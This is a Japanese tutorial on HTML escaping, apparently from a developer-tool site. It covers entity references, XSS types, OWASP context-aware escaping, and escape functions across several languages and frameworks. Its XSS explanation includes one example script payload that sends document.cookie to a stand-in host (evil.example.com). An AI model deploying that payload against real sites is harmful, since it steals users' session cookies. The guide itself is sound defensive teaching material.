HTMLエスケープとは? — 特殊文字の変換一覧とXSS対策

HTMLエスケープとは、HTMLドキュメント内で特別な意味を持つ文字(< > & " ')を、ブラウザが文字として表示できる安全な形式(実体参照)に変換する処理です。ユーザー入力をそのままHTMLに出力するとXSS(クロスサイトスクリプティング)攻撃の原因になるため、Webアプリケーション開発では必須の知識です。

最終更新: 2026年5月22日

目次
  1. HTMLエスケープとは
  2. エスケープが必要な5文字
  3. 実体参照の種類
  4. XSS攻撃とエスケープの関係
  5. ツールの使い方
  6. 言語別エスケープ方法
  7. よくある質問

HTMLエスケープとは

定義: HTMLエスケープとは、HTMLの構文として解釈される特殊文字を 実体参照(HTML entities) と呼ばれる安全な文字列に置き換える処理です。たとえば <(小なり記号)は &lt; に変換することで、ブラウザがタグの開始記号としてではなく「<という文字」として表示するようになります。

HTMLドキュメントは <> でタグを表現します。この文字をエスケープせずにそのまま出力すると、ブラウザはそれをHTMLタグとして解釈してしまいます。たとえばユーザーが入力した <b>太字</b> をそのまま出力すれば、文字列ではなく実際に太字として描画されます。これがエスケープが必要な根本的な理由です。

Webアプリケーションでは、ユーザーが入力した値、データベースから取得した文字列、APIレスポンスなど、あらゆる「外部由来のデータ」をHTMLに出力する際にエスケープが必要です。

エスケープが必要な5文字

原則: HTMLエスケープで最低限変換すべき文字は 5種類 です。この5文字を適切にエスケープすることで、HTMLインジェクションの大部分を防ぐことができます。
文字 名前 名前付き実体参照 数値参照(10進) 理由
& アンパサンド &amp; &#38; 実体参照の開始文字。最初にエスケープする必要がある
< 小なり(左山括弧) &lt; &#60; HTMLタグの開始記号。スクリプト注入の主要経路
> 大なり(右山括弧) &gt; &#62; HTMLタグの終了記号
" ダブルクォート &quot; &#34; HTML属性値の区切り文字。属性値内では必須
' シングルクォート &#39; または &apos; &#39; シングルクォートで囲まれた属性値内で必須

注意: &(アンパサンド)は必ず最初にエスケープしてください。後からエスケープすると、すでに変換した &lt;& が再度エスケープされて &amp;lt; になってしまいます。

実体参照の種類

実体参照には3種類の書き方があります: 名前付き実体参照(&lt;)、10進数値参照(&#60;)、16進数値参照(&#x3C;)。どれも同じ文字を表し、ブラウザはすべて正しく解釈します。

3種類の書き方の比較

種類 書式 例(<の場合) 特徴
名前付き実体参照 &名前; &lt; 可読性が高い。HTMLで定義された文字のみ使用可
10進数値参照 &#数値; &#60; Unicode符号点を10進数で指定。あらゆる文字に使える
16進数値参照 &#x16進数; &#x3C; Unicode符号点を16進数で指定。プログラム処理に向く

よく使う実体参照一覧

表示文字 名前付き参照 説明
©&copy;著作権記号
&trade;商標記号(TM)
®&reg;登録商標記号
&rarr;右矢印(→)
&larr;左矢印(←)
&mdash;ダッシュ(—)
&ndash;エンダッシュ(–)
 &nbsp;ノーブレークスペース(改行しないスペース)
&hellip;省略記号(…)
&euro;ユーロ記号(€)
¥&yen;円記号(¥)

XSS攻撃とエスケープの関係

XSS(クロスサイトスクリプティング) は、攻撃者が悪意あるスクリプトをWebページに埋め込み、他のユーザーのブラウザ上で実行させる攻撃手法です。OWASP Top 10 に継続してランクインするWebセキュリティの最重要課題のひとつです。

XSSの仕組み

典型的な反射型XSSの流れを見てみましょう。たとえば検索機能を持つWebサイトで、検索キーワードをそのままHTMLに出力しているとします。

通常の検索: ユーザーが「天気」と入力 → <p>「天気」の検索結果</p> と出力(問題なし)

攻撃の入力: 攻撃者が <script>document.location='https://evil.example.com/?c='+document.cookie</script> と入力

エスケープなしの場合、そのままHTMLに埋め込まれ、ページを開いたユーザーのCookieが外部サイトに送信されてしまいます。エスケープを施すと <&lt; に変換され、スクリプトは文字列として表示されるだけで実行されません。

XSSの主な種類

種類 仕組み 対策
反射型XSS URLパラメーターなどの入力値をそのまま出力 出力時エスケープ
蓄積型XSS 悪意あるスクリプトをDBに保存し後で出力 入力・出力両方でサニタイズ
DOMベースXSS JavaScriptがDOMを操作する際に発生 innerHTML等の安全な使用・textContent活用

OWASPの推奨とコンテキストエスケープ

OWASP XSS Prevention Cheat Sheet では、データを挿入するHTMLの「コンテキスト」に応じた適切なエスケープを推奨しています。HTMLコンテンツ内、HTML属性内、JavaScriptブロック内、CSS内、URLパラメーター内では、それぞれ異なるエスケープルールが適用されます。HTMLエスケープだけですべてのXSSを防げるわけではない点に注意が必要です。

ツールの使い方

Links Create の HTMLエスケープツール はブラウザ完結型でインストール不要です。テキストを入力するだけで即座にエスケープ・アンエスケープができます。

3ステップで変換できます。

  1. モードを選択 — ページ上部の「エスケープ」または「アンエスケープ」タブを選択します。
  2. テキストを入力 — 入力欄に変換したいテキストまたはHTMLエスケープ済み文字列を貼り付けます。
  3. 結果をコピー — 変換結果が自動表示されます。コピーボタンでクリップボードに取り込めます。
  4. 出力先コンテキストごとに使い分ける — 本文 (要素内テキスト)・属性値・JavaScript 内・CSS の url() ではエスケープ規則が異なります。コンテキストごとに適切なエスケープ関数を選びます。
  5. 実機ブラウザで表示確認する — エスケープ後のテキストを実際の HTML に貼り付け、ブラウザで XSS が発生しないこと・意図した表示になることを確認します。

言語別エスケープ方法

重要: 各プログラミング言語やフレームワークにはHTMLエスケープを行うための標準的な手段があります。自前の置換処理を実装するよりも、言語・フレームワークが提供する関数を使うほうが安全で確実です。

JavaScript

ブラウザ環境では textContent への代入がもっとも安全です。DOM操作ではなく文字列として扱いたい場合は次のように実装できます。

function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

// DOM操作では textContent を使うのが最もシンプルで安全
const el = document.getElementById('output');
el.textContent = userInput; // 自動でエスケープされる

Python

標準ライブラリの html モジュールに html.escape() が用意されています。

import html

user_input = '<script>alert("XSS")</script>'
escaped = html.escape(user_input)
# => '&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;'

# quote=False でダブルクォートをエスケープしない(デフォルトは True)
escaped_noquote = html.escape(user_input, quote=False)

PHP

htmlspecialchars() が標準関数です。第2引数に ENT_QUOTES を指定してシングルクォートもエスケープするのが推奨です。

<?php
$user_input = '<script>alert("XSS")</script>';
$escaped = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// => &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

// HTMLに出力する際はエコー時に直接使う
echo htmlspecialchars($variable, ENT_QUOTES, 'UTF-8');
?>

Java

標準ライブラリには直接の関数がないため、Apache Commons Text や Spring の HtmlUtils を使うのが一般的です。

// Apache Commons Text
import org.apache.commons.text.StringEscapeUtils;
String escaped = StringEscapeUtils.escapeHtml4(userInput);

// Spring Framework
import org.springframework.web.util.HtmlUtils;
String escaped = HtmlUtils.htmlEscape(userInput);

Go

標準ライブラリの html パッケージに html.EscapeString() があります。

import "html"

userInput := `<script>alert("XSS")</script>`
escaped := html.EscapeString(userInput)
// => &lt;script&gt;alert("XSS")&lt;/script&gt;

フレームワークの自動エスケープ

現代のテンプレートエンジンやフレームワークは、変数展開時に自動でHTMLエスケープを行います。

フレームワーク / テンプレート 自動エスケープ構文 エスケープを無効化する構文(要注意)
React(JSX) {variable}(自動) dangerouslySetInnerHTML
Vue.js {{ variable }}(自動) v-html
Python Jinja2 {{ variable }}(自動・設定次第) {{ variable | safe }}
PHP Twig {{ variable }}(自動) {{ variable | raw }}
Go html/template {{ .Variable }}(自動) template.HTML() 型キャスト

自動エスケープを無効にする機能(dangerouslySetInnerHTMLv-html| safe 等)を使う場合は、必ず入力値が信頼できるものであることを確認するか、DOMPurifyなどのサニタイズライブラリで処理してから使用してください。

よくある質問

HTMLタグをすべてエスケープすべきですか?

ユーザーが入力したデータや外部から取得したデータをHTMLに出力する際は、すべてエスケープするのが原則です。自分で制御できるHTMLタグ構造はエスケープ不要ですが、変数や動的なデータは必ずエスケープしてください。テンプレートエンジンの自動エスケープ機能を活用するのが最も安全です。

CSSやJavaScript内でもHTMLエスケープが必要ですか?

CSSやJavaScriptのコンテキストでは、HTMLエスケープだけでは不十分です。JavaScriptブロック内にユーザーデータを埋め込む場合はJavaScriptエスケープ(\u00XX形式)が、CSSに埋め込む場合はCSSエスケープが必要です。コンテキストに応じた適切なエスケープを使い分けてください。OWASPのXSS Prevention Cheat Sheetが詳しいガイドラインを提供しています。

URLエンコードとHTMLエスケープの違いは何ですか?

URLエンコード(パーセントエンコーディング)はURL内で使えない文字を %XX 形式に変換します。HTMLエスケープはHTMLドキュメント内で特別な意味を持つ文字を実体参照に変換します。目的・対象・変換結果がすべて異なります。URLをHTML属性(href等)に書く場合は、まずURLエンコードを行い、その後HTMLエスケープするという二段階の処理が必要なケースもあります。詳しくは URLエンコード解説ガイド もあわせてご確認ください。

テンプレートエンジンを使えばエスケープは不要ですか?

ReactやVue、Jinja2などのテンプレートエンジンはデフォルトで自動エスケープを行うため、通常の変数展開は安全です。ただし、HTMLを意図的に挿入する dangerouslySetInnerHTML(React)や v-html(Vue)などの機能を使う場合は手動でサニタイズが必要です。自動エスケープを信頼しつつ、エスケープ無効化機能の利用は最小限にとどめるのがベストプラクティスです。